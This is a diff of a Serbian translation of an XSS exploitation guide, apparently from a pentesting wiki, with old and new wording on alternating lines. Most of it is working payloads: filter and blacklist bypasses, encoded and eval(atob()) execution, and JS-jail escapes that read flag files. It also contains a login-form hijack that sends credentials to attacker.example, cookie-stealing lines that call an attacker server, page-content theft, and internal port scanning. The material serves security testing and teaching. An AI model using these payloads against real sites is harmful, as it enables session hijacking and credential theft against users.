@ -410,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS u "oznakama koje se ne mogu iskoristiti" (hidden input, link, canonical, meta)
### XSS u "Unexploitable tags" (hidden input, link, canonical, meta)
Iz [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti hidden inputs pomoću:**
Prema [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti hidden inputs pomoću:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
I u **meta tags**:
I u **meta tagovima**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -431,25 +430,25 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Iz [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da uspete da **persuade** **victim** da pritisne **key combination**. Na Firefox (Windows/Linux) kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u access key attribute. Evo vektora:
Iz [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload u skrivenom atributu**, pod uslovom da možete **nagovoriti** **žrtvu** da pritisne **kombinaciju tastera**. U Firefoxu na Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete navesti drugu kombinaciju tastera koristeći drugi taster u atributu accesskey. Evo vektora:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**The XSS payload će biti nešto ovako: `" accesskey="x" onclick="alert(1)" x="`**
**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses
Neki trikovi sa korišćenjem različitih enkodiranja već su objašnjeni u ovom odeljku. Vratite se da naučite gde možete koristiti:
Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:**
- **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
- **Unicode encoding (može biti validan JS kod):** `\u0061lert(1)`
- **URL encoding**
- **Hex and Octal encoding**
- **data encoding**
**Bypasses for HTML tags and attributes**
Pročitajte [ Blacklist Bypasses of the previous section](#blacklist-bypasses).
Pogledajte[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
**Bypasses for JavaScript code**
@ -457,39 +456,39 @@ Pročitajte J[avaScript bypass blacklist of the following section](#javascript-b
### CSS-Gadgets
Ako ste pronašli **XSS u vrlo malom delu** veba koji zahteva neku interakciju (možda mali link u footer-u sa onmouseover elementom), možete pokušati da **izmenite prostor koji taj element zauzima** kako biste povećali verovatnoću da se link aktivira.
If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired.
Na primer, možete dodati stil u element kao: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ali, ako WAF filtrira atribut style, možete koristiti CSS Styling Gadgets, pa ako nađete, na primer
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
> .test {display:block; color: blue; width: 100%\}
i
and
> \#someid {top: 0; font-family: Tahoma;}
Sada možete modifikovati naš link i dovesti ga u formu
Now you can modify our link and bring it to the form
> \<a href="" id=someid class=test onclick=alert() a="">
Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injecting inside JavaScript code
U ovom slučaju, vaš **input** će biti **reflektovan unutar JS koda** .js fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršavati JS kod ili između atributa koji prihvataju `javascript:` protokol.
In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `<script>...</script>` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol.
### Escaping \<script> tag
### Izbegavanje \<script> taga
Ako je vaš kod ubačen unutar `<script> [...] var input = 'reflected data' [...] </script>` lako možete prekinuti zatvaranje `<script>` taga:
If your code is inserted within `<script> [...] var input = 'reflected data' [...] </script>` you could easily **escape closing the `<script>`** tag:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Obratite pažnju da u ovom primeru **čak nismo ni zatvorili apostrof**. To je zato što se **HTML parsing prvo obavlja od strane browser-a**, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a da bi se razumeli i izvršili ugrađeni skriptovi sprovodi se tek nakon toga.
Imajte na umu da u ovom primeru **čak nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsing prvo obavlja browser**, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugrađenih skripti obavlja se tek potom.
### Unutar JS koda
Ako se `<>` filtriraju, i dalje možete **escape-ovati string** tamo gde se vaš unos **nalazi** i **izvršiti proizvoljan JS**. Važno je **popraviti JS sintaksu**, jer ako postoje greške, JS kod se neće izvršiti:
Ako se `<>` sanitizuju, i dalje možete **escape the string** tamo gde je vaš unos **located** i **execute arbitrary JS**. Važno je **fix JS syntax**, jer ako postoje greške, JS kod neće biti izvršen:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -497,23 +496,23 @@ Ako se `<>` filtriraju, i dalje možete **escape-ovati string** tamo gde se vaš
```
#### JS-in-JS string break → inject → repair pattern
Kada korisnički unos dospe unutar navodnog JavaScript stringa (npr., server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu da bi parsiranje ostalo validno. Generički kostur:
Kada korisnički unos dospe unutar quoted JavaScript stringa (npr. server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu tako da parsiranje ostane važeće. Generički skelet:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
Primer URL obrasca kada se ranjivi parametar reflektuje u JS string:
Primer obrasca URL-a kada se ranjivi parametar reflektuje u JS string:
```
?param=test";<INJECTION>;a="
```
Ovo izvršava napadačev JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filteri blokiraju ključne reči.
Ovo izvršava attacker JS bez potrebe da se dira HTML kontekst (čisti JS-in-JS). Kombinujte sa blacklist bypasses dole kada filters blokiraju keywords.
### Template literals ``
Da biste konstruisali **strings**, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućavaju da se **embedded JS expressions** koriste pomoću `${ ... }` sintakse.\
Stoga, ako otkrijete da je vaš unos **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**:
Da biste kreirali **strings**, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer dozvoljavaju da se **embedded JS expressions** ugrađuju koristeći `${ ... }` sintaksu.\
Dakle, ako primetite da se vaš unos **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**:
Ovo se može **zloupotrebiti** koristeći:
```javascript
@ -527,21 +526,21 @@ return loop
}
loop``
```
### Enkodirano code execution
### Enkodirano izvršavanje koda
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### Isporučivi payloads sa eval(atob()) i nijansama opsega
#### Dostavljivi payloads sa eval(atob()) i nijanse scope-a
Da biste držali URLs kraćim i zaobišli naivne filtere po ključnim rečima, možete base64-encode-ovati svoju pravu logiku i izvršiti je pomoću `eval(atob('...'))`. Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su `alert`, `eval` ili `atob`, koristite Unicode-escaped identifikatore koji se u pregledaču izvršavaju identično, ali zaobilaze filtre koji rade podudaranje stringova:
Da biste skratili URL-ove i zaobišli naivne filtere po ključnim rečima, možete base64-enkodovati svoju stvarnu logiku i izvršiti je sa `eval(atob('...'))`. Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su `alert`, `eval` ili `atob`, koristite Unicode-escape-ovane identifikatore koji se kompajliraju identično u pregledaču, ali zaobilaze filtere koji se zasnivaju na podudaranju stringova:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
Važna nijansa opsega: `const`/`let` deklarisani unutar `eval()` su block-scoped i NE kreiraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički umetnut `<script>` element da, kad je potrebno, definišete globalne hook-ove koje nije moguće ponovo dodeliti (npr. za presretanje handler-a forme):
Važna nijansa opsega: `const`/`let` deklarisani unutar `eval()` su blok-ograničeni i NE stvaraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički ubačen `<script>` element da definišete globalne, non-rebindable hook-ove kada je potrebno (npr. da hijack-ujete form handler):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -549,13 +548,13 @@ document.head.appendChild(s);
```
Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode Encode JS izvršavanje
### Unicode enkodiranje za JS izvršavanje
```javascript
alert(1)
alert(1)
alert(1)
```
### JavaScript tehnike za zaobilaženje crnih lista
### JavaScript bypass blacklists tehnike
**Strings**
```javascript
@ -574,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
```
**Posebni escape karakteri**
**Specijalni escapes**
```javascript
"\b" //backspace
"\f" //form feed
@ -588,12 +587,12 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**Zamene razmaka unutar JS code**
**Zamene razmaka unutar JS koda**
```javascript
<TAB>
/**/
```
**JavaScript comments (iz** [**JavaScript Comments**](#javascript-comments) **trika)**
**JavaScript comments (iz** [**JavaScript Comments**](#javascript-comments) **trik)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -601,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript new lines (iz** [**JavaScript new line**](#javascript-new-lines) **trika)**
**JavaScript nove linije (iz** [**JavaScript new line**](#javascript-new-lines) **trik)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -613,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
```
**JavaScript razmaci**
**JavaScript beli razmaci**
```javascript
log=[];
function funct(){}
@ -630,7 +629,7 @@ console.log(log)
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>
```
**Javascript unutar komentara**
**Javascript u komentaru**
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
@ -716,7 +715,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Proizvoljan poziv funkcije (alert)**
**Poziv proizvoljne funkcije (alert)**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -778,45 +777,56 @@ top[8680439..toString(30)](1)
```
## **DOM vulnerabilities**
Postoji **JS code** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može to zloupotrebiti da izvrši proizvoljan JS kod.\
**Zbog obimnijeg objašnjenja** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
Postoji **JS code** koji koristi **nebezbedne podatke koje kontroliše napadač** poput `location.href`. Napadač može zloupotrebiti ovo da izvrši proizvoljni JS kod.\
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju i kako ih iskoristiti**.\
Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju, i kako ih eksploatisati**.\
Takođe, ne zaboravite da **na kraju pomenutog posta** možete naći objašnjenje o [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
### Upgrading Self-XSS
### Unapređivanje Self-XSS
### Cookie XSS
Ako možete pokrenuti XSS tako što ćete poslati payload unutar cookie-a, to je obično self-XSS. Međutim, ako nađete **vulnerable subdomain to XSS**, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako izazovete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
Ako možete pokrenuti XSS slanjem payload-a unutar cookie-ja, ovo je obično self-XSS. Međutim, ako nađete **ranjiv poddomen na XSS**, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako trigger-ujete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
Primer značajne zloupotrebe ove tehnike možete naći u [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Sending your session to the admin
### Slanje vaše sesije adminu
Moguće je da korisnik podeli svoj profil sa adminom, i ako je self XSS u profilu korisnika i admin mu pristupi, on će aktivirati ranjivost.
Možda korisnik može podeliti svoj profil sa adminom i ako se self XSS nalazi u profilu korisnika i admin mu pristupi, on će trigger-ovati ranjivost.
### Session Mirroring
Ako nađete self XSS i web stranica ima **session mirroring for administrators**, na primer omogućavajući klijentima da zatraže pomoć, da bi admin mogao da pomogne videće ono što vidite u svojoj sesiji ali iz svoje (adminove) sesije.
Ako nađete self XSS i web stranica ima **session mirroring za administratore**, na primer omogućavajući klijentima da traže pomoć, admin koji želi da vam pomogne će videti ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati **administrator trigger your self XSS** i ukrasti njegove cookies/session.
Možete naterati **administratora da trigger-uje vaš self XSS** i ukrasti njegove cookie-je/sesiju.
## Ostali bypassi
### Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
{{#ref}}
wasm-linear-memory-template-overwrite-xss.md
{{#endref}}
## Other Bypasses
### Normalised Unicode
Možete proveriti da li su **reflected values** unicode normalizovane na serveru (ili na klijentu) i zloupotrebiti tu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
Možete proveriti da li su **reflected values** unicode normalized na serveru (ili na client strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -824,7 +834,7 @@ Možete proveriti da li su **reflected values** unicode normalizovane na serveru
```
### Ruby-On-Rails bypass
Zbog **RoR mass assignment** navodnici se ubacuju u HTML i time se ograničenje navodnika zaobilazi, pa se dodatna polja (onfocus) mogu dodati unutar taga.\
Zbog **RoR mass assignment** navodnici se ubacuju u HTML, pa se ograničenje navodnika zaobilazi i dodatna polja (onfocus) mogu dodati unutar taga.\
Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -833,7 +843,7 @@ Par "Key","Value" biće vraćen ovako:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Zatim će atribut onfocus biti umetnut i događa se XSS.
Zatim će atribut onfocus biti umetnut i doći će do XSS-a.
### Posebne kombinacije
```html
@ -865,24 +875,24 @@ Zatim će atribut onfocus biti umetnut i događa se XSS.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS sa injekcijom header-a u 302 odgovoru
### XSS sa header injection u 302 odgovoru
Ako otkrijete da možete **inject headers in a 302 Redirect response** možete pokušati da **make the browser execute arbitrary JavaScript**. Ovo nije trivijalno jer moderni browseri ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da je običan cross-site scripting payload beskoristan.
Ako utvrdite da možete **inject headers in a 302 Redirect response** možete pokušati da **make the browser execute arbitrary JavaScript**. Ovo nije **trivijalno** jer moderni browser-i ne interpretiraju telo HTTP response-a ako je HTTP response status code 302, pa sam payload za cross-site scripting neće raditi.
U [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako testirati nekoliko protokola unutar Location header-a i videti da li neki od njih omogućava browseru da pregleda i izvrši XSS payload iz tela odgovora.\
Ranije poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazan Location header_, `resource://`.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location header-a i videti da li koji od njih dozvoljava browseru da ispita i izvrši XSS payload unutar tela.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Samo slova, brojevi i tačke
Ako možete naznačiti **callback** koji će javascript **execute** ograničen samo na ta slova, brojeve i tačke. [**Read this section of this post**](#javascript-function) da biste saznali kako zloupotrebiti ovo ponašanje.
Ako možete odrediti **callback** koji će javascript **execute** ograničen na te znakove. [**Pročitajte ovaj odeljak**](#javascript-function) da saznate kako zloupotrebiti ovo ponašanje.
### Podržani `<script>` Content-Types za XSS
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao `application/octet-stream`, Chrome će baciti sledeću grešku:
(From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate script sa **content-type** kao `application/octet-stream`, Chrome će prikazati sledeću grešku:
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Jedini **Content-Type**-ovi koji će podržati Chrome da izvrši **loaded script** su oni koji se nalaze unutar konstante **`kSupportedJavascriptTypes`** iz [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -906,14 +916,14 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Tipovi skripti za XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti navedeni da bi se učitala skripta?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti navedeni za učitavanje skripte?
```html
<script type="???"></script>
```
Odgovor je:
- **module** (podrazumevano, nema šta objašnjavati)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da spakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** fajl.
- **module** (podrazumevano, nema šta da se objašnjava)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcionalnost koja vam omogućava da spakujete skup podataka (HTML, CSS, JS…) u **`.wbn`** fajl.
```html
<script type="webbundle">
{
@ -940,9 +950,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da premapira biblioteku na eval, čija zloupotreba može izazvati XSS.
Ovo ponašanje je iskorišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da se remapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je prvenstveno namenjena rešavanju nekih problema izazvanih pre-renderingom. Funkcioniše ovako:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcionalnost je uglavnom uvedena da reši neke probleme izazvane pre-renderingom. Radi na sledeći način:
```html
<script type="speculationrules">
{
@ -958,9 +968,9 @@ Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca
}
</script>
```
### Web Content-Types za XSS
### Web Content-Types to XSS
(Iz [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu da izvrše XSS u svim preglednicima:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći Content-Types mogu izvršiti XSS u svim browserima:
- text/html
- application/xhtml+xml
@ -971,11 +981,11 @@ Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca
- application/rss+xml (off)
- application/atom+xml (off)
U drugim preglednicima drugi **`Content-Types`** se mogu iskoristiti za izvršavanje proizvoljnog JS-a, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
U drugim browserima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS-a, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml tip sadržaja
### xml Content Type
Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvršiti proizvoljan JS:
Ako stranica vraća text/xml content-type, moguće je označiti namespace i izvršiti proizvoljni JS:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -985,9 +995,9 @@ Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvrš
```
### Specijalni obrasci zamene
Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Napadač može koristiti [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša zaobići neka zaštitna sredstva: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Napadač može da koristi [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da bi se **escape-ovao JSON string** unutar skripta i izvršio proizvoljan kod.
Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da **scape a JSON string** inside a script and execute arbitrary code.
### Chrome Cache to XSS
@ -998,7 +1008,7 @@ chrome-cache-to-xss.md
### XS Jails Escape
Ako imate ograničen skup karaktera koje možete koristiti, pogledajte ova druga validna rešenja za XSJail probleme:
Ako imate samo ograničen skup karaktera koje možete koristiti, pogledajte ova druga valjana rešenja za XSJail probleme:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1029,7 +1039,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Ako je pre izvršavanja nepouzdanog koda **everything is undefined** (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), moguće je generisati korisne objekte „iz ničega“ kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
Ako je **sve undefined** pre izvršavanja nepouzdanog koda (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) moguće je generisati korisne objekte "ni iz čega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
- Korišćenjem import()
```javascript
@ -1038,13 +1048,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Pristupanje `require` indirektno
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli su od Node.js umotani unutar funkcije, ovako:
[Prema ovom](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js umotava module unutar funkcije, ovako:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je iz te funkcije koristiti `arguments.callee.caller.arguments[1]` da se pristupi **`require`**:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1053,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Na sličan način kao u prethodnom primeru, moguće je **use error handlers** da se pristupi **wrapper** modula i dobije **`require`** funkciju:
Na sličan način kao u prethodnom primeru, moguće je **use error handlers** da pristupite **wrapper** modula i dobijete **`require`** funkciju:
```javascript
try {
null.f()
@ -1272,25 +1282,25 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS common payloads
## Uobičajeni XSS payloads
### Više payloads u 1
### Više payloads u jednom
{{#ref}}
steal-info-js.md
{{#endref}}
### Iframe Trap
### Iframe zamka
Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete njegove radnje (uključujući informacije poslate u formularima):
Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i presretnite njegove radnje (uključujući informacije poslate kroz forme):
{{#ref}}
../iframe-traps.md
{{#endref}}
### Retrieve Cookies
### Preuzimanje Cookies
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1313,7 +1323,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> **Nećete moći da pristupite cookies iz JavaScript-a** ako je HTTPOnly flag postavljen u cookie. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako budete imali sreće.
> Nećete moći da pristupite **cookies iz JavaScript** ako je HTTPOnly flag postavljen u cookie. Ali ovde imate [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) ako imate sreće.
### Krađa sadržaja stranice
```javascript
@ -1328,7 +1338,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open("GET", url, true)
xhr.send(null)
```
### Pronađite interne IP adrese
### Pronalaženje internih IP adresa
```html
<script>
var q = []
@ -1404,11 +1414,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kratka vremena ukazuju na port koji odgovara_ _Duža vremena ukazuju na neodgovor._
